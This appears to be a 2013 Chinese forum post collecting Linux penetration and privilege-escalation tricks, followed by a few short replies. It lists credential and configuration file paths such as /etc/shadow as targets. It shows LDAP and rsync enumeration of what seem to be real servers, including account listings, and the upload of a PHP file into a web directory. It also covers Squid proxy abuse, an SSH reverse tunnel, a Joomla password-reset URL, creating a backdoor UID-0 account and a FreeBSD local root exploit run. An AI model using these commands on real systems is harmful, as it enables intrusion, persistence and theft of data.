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Linux渗透与提权：技巧总结篇

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发表于 2013-12-29 21:15:02 | 显示全部楼层 |阅读模式
本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。

Linux 系统下的一些常见路径：
  1. /etc/passwd

  3. /etc/shadow

  5. /etc/fstab

  7. /etc/host.conf

  9. /etc/motd

  11. /etc/ld.so.conf

  13. /var/www/htdocs/index.php

  15. /var/www/conf/httpd.conf

  17. /var/www/htdocs/index.html

  19. /var/httpd/conf/php.ini

  21. /var/httpd/htdocs/index.php

  23. /var/httpd/conf/httpd.conf

  25. /var/httpd/htdocs/index.html

  27. /var/httpd/conf/php.ini

  29. /var/www/index.html

  31. /var/www/index.php

  33. /opt/www/conf/httpd.conf

  35. /opt/www/htdocs/index.php

  37. /opt/www/htdocs/index.html

  39. /usr/local/apache/htdocs/index.html

  41. /usr/local/apache/htdocs/index.php

  43. /usr/local/apache2/htdocs/index.html

  45. /usr/local/apache2/htdocs/index.php

  47. /usr/local/httpd2.2/htdocs/index.php

  49. /usr/local/httpd2.2/htdocs/index.html

  51. /tmp/apache/htdocs/index.html

  53. /tmp/apache/htdocs/index.php

  55. /etc/httpd/htdocs/index.php

  57. /etc/httpd/conf/httpd.conf

  59. /etc/httpd/htdocs/index.html

  61. /www/php/php.ini

  63. /www/php4/php.ini

  65. /www/php5/php.ini

  67. /www/conf/httpd.conf

  69. /www/htdocs/index.php

  71. /www/htdocs/index.html

  73. /usr/local/httpd/conf/httpd.conf

  75. /apache/apache/conf/httpd.conf

  77. /apache/apache2/conf/httpd.conf

  79. /etc/apache/apache.conf

  81. /etc/apache2/apache.conf

  83. /etc/apache/httpd.conf

  85. /etc/apache2/httpd.conf

  87. /etc/apache2/vhosts.d/00_default_vhost.conf

  89. /etc/apache2/sites-available/default

  91. /etc/phpmyadmin/config.inc.php

  93. /etc/mysql/my.cnf

  95. /etc/httpd/conf.d/php.conf

  97. /etc/httpd/conf.d/httpd.conf

  99. /etc/httpd/logs/error_log

  101. /etc/httpd/logs/error.log

  103. /etc/httpd/logs/access_log

  105. /etc/httpd/logs/access.log

  107. /home/apache/conf/httpd.conf

  109. /home/apache2/conf/httpd.conf

  111. /var/log/apache/error_log

  113. /var/log/apache/error.log

  115. /var/log/apache/access_log

  117. /var/log/apache/access.log

  119. /var/log/apache2/error_log

  121. /var/log/apache2/error.log

  123. /var/log/apache2/access_log

  125. /var/log/apache2/access.log

  127. /var/www/logs/error_log

  129. /var/www/logs/error.log

  131. /var/www/logs/access_log

  133. /var/www/logs/access.log

  135. /usr/local/apache/logs/error_log

  137. /usr/local/apache/logs/error.log

  139. /usr/local/apache/logs/access_log

  141. /usr/local/apache/logs/access.log

  143. /var/log/error_log

  145. /var/log/error.log

  147. /var/log/access_log

  149. /var/log/access.log

  151. /usr/local/apache/logs/access_logaccess_log.old

  153. /usr/local/apache/logs/error_logerror_log.old

  155. /etc/php.ini

  157. /bin/php.ini

  159. /etc/init.d/httpd

  161. /etc/init.d/mysql

  163. /etc/httpd/php.ini

  165. /usr/lib/php.ini

  167. /usr/lib/php/php.ini

  169. /usr/local/etc/php.ini

  171. /usr/local/lib/php.ini

  173. /usr/local/php/lib/php.ini

  175. /usr/local/php4/lib/php.ini

  177. /usr/local/php4/php.ini

  179. /usr/local/php4/lib/php.ini

  181. /usr/local/php5/lib/php.ini

  183. /usr/local/php5/etc/php.ini

  185. /usr/local/php5/php5.ini

  187. /usr/local/apache/conf/php.ini

  189. /usr/local/apache/conf/httpd.conf

  191. /usr/local/apache2/conf/httpd.conf

  193. /usr/local/apache2/conf/php.ini

  195. /etc/php4.4/fcgi/php.ini

  197. /etc/php4/apache/php.ini

  199. /etc/php4/apache2/php.ini

  201. /etc/php5/apache/php.ini

  203. /etc/php5/apache2/php.ini

  205. /etc/php/php.ini

  207. /etc/php/php4/php.ini

  209. /etc/php/apache/php.ini

  211. /etc/php/apache2/php.ini

  213. /web/conf/php.ini

  215. /usr/local/Zend/etc/php.ini

  217. /opt/xampp/etc/php.ini

  219. /var/local/www/conf/php.ini

  221. /var/local/www/conf/httpd.conf

  223. /etc/php/cgi/php.ini

  225. /etc/php4/cgi/php.ini

  227. /etc/php5/cgi/php.ini

  229. /php5/php.ini

  231. /php4/php.ini

  233. /php/php.ini

  235. /PHP/php.ini

  237. /apache/php/php.ini

  239. /xampp/apache/bin/php.ini

  241. /xampp/apache/conf/httpd.conf

  243. /NetServer/bin/stable/apache/php.ini

  245. /home2/bin/stable/apache/php.ini

  247. /home/bin/stable/apache/php.ini

  249. /var/log/mysql/mysql-bin.log

  251. /var/log/mysql.log

  253. /var/log/mysqlderror.log

  255. /var/log/mysql/mysql.log

  257. /var/log/mysql/mysql-slow.log

  259. /var/mysql.log

  261. /var/lib/mysql/my.cnf

  263. /usr/local/mysql/my.cnf

  265. /usr/local/mysql/bin/mysql

  267. /etc/mysql/my.cnf

  269. /etc/my.cnf

  271. /usr/local/cpanel/logs

  273. /usr/local/cpanel/logs/stats_log

  275. /usr/local/cpanel/logs/access_log

  277. /usr/local/cpanel/logs/error_log

  279. /usr/local/cpanel/logs/license_log

  281. /usr/local/cpanel/logs/login_log

  283. /usr/local/cpanel/logs/stats_log

  285. /usr/local/share/examples/php4/php.ini

  287. /usr/local/share/examples/php/php.ini

  289. /usr/local/tomcat5527/bin/version.sh

  291. /usr/share/tomcat6/bin/startup.sh

  293. /usr/tomcat6/bin/startup.sh
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liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式
2.less /etc/ldap.conf

base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

  ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式
  ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录
  ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式
  2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式
  ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录
  ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性
  1. ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"

  3. version: 1

  5. dn: dc=ruc,dc=edu,dc=cn

  7. dc: ruc

  9. objectClass: domain

  11. dn: uid=manager,dc=ruc,dc=edu,dc=cn

  13. uid: manager

  15. objectClass: inetOrgPerson

  17. objectClass: organizationalPerson

  19. objectClass: person

  21. objectClass: top

  23. sn: manager

  25. cn: manager

  27. dn: uid=superadmin,dc=ruc,dc=edu,dc=cn

  29. uid: superadmin

  31. objectClass: inetOrgPerson

  33. objectClass: organizationalPerson

  35. objectClass: person

  37. objectClass: top

  39. sn: superadmin

  41. cn: superadmin

  43. dn: uid=admin,dc=ruc,dc=edu,dc=cn

  45. uid: admin

  47. objectClass: inetOrgPerson

  49. objectClass: organizationalPerson

  51. objectClass: person

  53. objectClass: top

  55. sn: admin

  57. cn: admin

  59. dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn

  61. uid: dcp_anonymous

  63. objectClass: top

  65. objectClass: person

  67. objectClass: organizationalPerson

  69. objectClass: inetOrgPerson

  71. sn: dcp_anonymous

  73. cn: dcp_anonymous
复制代码

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找
  1. bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"

  3. version: 1

  5. dn:

  7. objectClass: top

  9. namingContexts: dc=ruc,dc=edu,dc=cn

  11. supportedExtension: 2.16.840.1.113730.3.5.7

  13. supportedExtension: 2.16.840.1.113730.3.5.8

  15. supportedExtension: 1.3.6.1.4.1.4203.1.11.1

  17. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25

  19. supportedExtension: 2.16.840.1.113730.3.5.3

  21. supportedExtension: 2.16.840.1.113730.3.5.5

  23. supportedExtension: 2.16.840.1.113730.3.5.6

  25. supportedExtension: 2.16.840.1.113730.3.5.4

  27. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1

  29. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2

  31. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3

  33. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4

  35. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5

  37. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6

  39. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7

  41. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8

  43. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9

  45. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23

  47. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11

  49. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12

  51. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13

  53. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14

  55. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15

  57. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16

  59. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17

  61. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18

  63. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19

  65. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21

  67. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22

  69. supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24

  71. supportedExtension: 1.3.6.1.4.1.1466.20037

  73. supportedExtension: 1.3.6.1.4.1.4203.1.11.3

  75. supportedControl: 2.16.840.1.113730.3.4.2

  77. supportedControl: 2.16.840.1.113730.3.4.3

  79. supportedControl: 2.16.840.1.113730.3.4.4

  81. supportedControl: 2.16.840.1.113730.3.4.5

  83. supportedControl: 1.2.840.113556.1.4.473

  85. supportedControl: 2.16.840.1.113730.3.4.9

  87. supportedControl: 2.16.840.1.113730.3.4.16

  89. supportedControl: 2.16.840.1.113730.3.4.15

  91. supportedControl: 2.16.840.1.113730.3.4.17

  93. supportedControl: 2.16.840.1.113730.3.4.19

  95. supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2

  97. supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6

  99. supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8

  101. supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1

  103. supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1

  105. supportedControl: 2.16.840.1.113730.3.4.14

  107. supportedControl: 1.3.6.1.4.1.1466.29539.12

  109. supportedControl: 2.16.840.1.113730.3.4.12

  111. supportedControl: 2.16.840.1.113730.3.4.18

  113. supportedControl: 2.16.840.1.113730.3.4.13

  115. supportedSASLMechanisms: EXTERNAL

  117. supportedSASLMechanisms: DIGEST-MD5

  119. supportedLDAPVersion: 2

  121. supportedLDAPVersion: 3

  123. vendorName: Sun Microsystems, Inc.

  125. vendorVersion: Sun-Java(tm)-System-Directory/6.2

  127. dataversion: 020090516011411

  129. netscapemdsuffix: cn=ldap://dc=webA:389

  131. supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA

  133. supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

  135. supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA

  137. supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA

  139. supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA

  141. supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA

  143. supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA

  145. supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA

  147. supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA

  149. supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA

  151. supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

  153. supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA

  155. supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA

  157. supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA

  159. supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA

  161. supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA

  163. supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA

  165. supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA

  167. supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5

  169. supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA

  171. supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA

  173. supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA

  175. supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA

  177. supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA

  179. supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA

  181. supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA

  183. supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA

  185. supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA

  187. supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA

  189. supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA

  191. supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA

  193. supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA

  195. supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA

  197. supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA

  199. supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA

  201. supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5

  203. supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5

  205. supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA

  207. supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA

  209. supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA

  211. supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA

  213. supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA

  215. supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5

  217. supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5

  219. supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5

  221. supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5

  223. supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5

  225. supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5

  227. supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
复制代码

liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

showmount -e ip

liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：
  1. rsync 210.51.X.X::

  3. finance

  5. img_finance

  7. auto

  9. img_auto

  11. html_cms

  13. img_cms

  15. ent_cms

  17. ent_img

  19. ceshi

  21. res_img

  23. res_img_c2

  25. chip

  27. chip_c2

  29. ent_icms

  31. games

  33. gamesimg

  35. media

  37. mediaimg

  39. fashion

  41. res-fashion

  43. res-fo

  45. taobao-home

  47. res-taobao-home

  49. house

  51. res-house

  53. res-home

  55. res-edu

  57. res-ent

  59. res-labs

  61. res-news

  63. res-phtv

  65. res-media

  67. home

  69. edu

  71. news

  73. res-book
复制代码

看相应的下级目录(注意一定要在目录后面添加上/)
  1. rsync 210.51.X.X::htdocs_app/

  3. rsync 210.51.X.X::auto/

  5. rsync 210.51.X.X::edu/
复制代码

2.下载rsync服务器上的配置文件
  rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/

  http://app.finance.xxx.com/warn/nothack.txt

liunx 相关提权渗透技巧总结，四、squid渗透技巧：

  nc -vv 91ri.org 80
GET HTTP://www.sina.com / HTTP/1.0
  GET HTTP://WWW.sina.com:22 / HTTP/1.0

liunx 相关提权渗透技巧总结，五、SSH端口转发：

  ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

  index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新设置密码：
index.php?option=com_user&view=reset&layout=confirm

liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：
  useradd -o -u 0 nothack

liunx 相关提权渗透技巧总结，八、freebsd本地提权：

  1. [argp@julius ~]$ uname -rsi

  3. * freebsd 7.3-RELEASE GENERIC

  5. * [argp@julius ~]$ sysctl vfs.usermount

  7. * vfs.usermount: 1

  9. * [argp@julius ~]$ id

  11. * uid=1001(argp) gid=1001(argp) groups=1001(argp)

  13. * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex

  15. * [argp@julius ~]$ ./nfs_mount_ex

  17. *

  19. calling nmount()
复制代码

tar 文件夹打包：

1、tar打包：

  tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目录 /xx/xx/*

alzip打包(韩国) alzip -a D:\WEB d:\web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压

那么用这条比较好

  tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*

}
您可以更新记录, 让好友们知道您在做什么...
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专业回帖 该用户已被删除
发表于 2013-12-29 21:21:21 | 显示全部楼层
谢谢楼主，共同发展
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专业回帖 该用户已被删除
发表于 2013-12-29 21:26:25 | 显示全部楼层
这是什么东东啊
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b0dboy 该用户已被删除
发表于 2013-12-31 09:47:47 | 显示全部楼层
不错，骚年。顶一个
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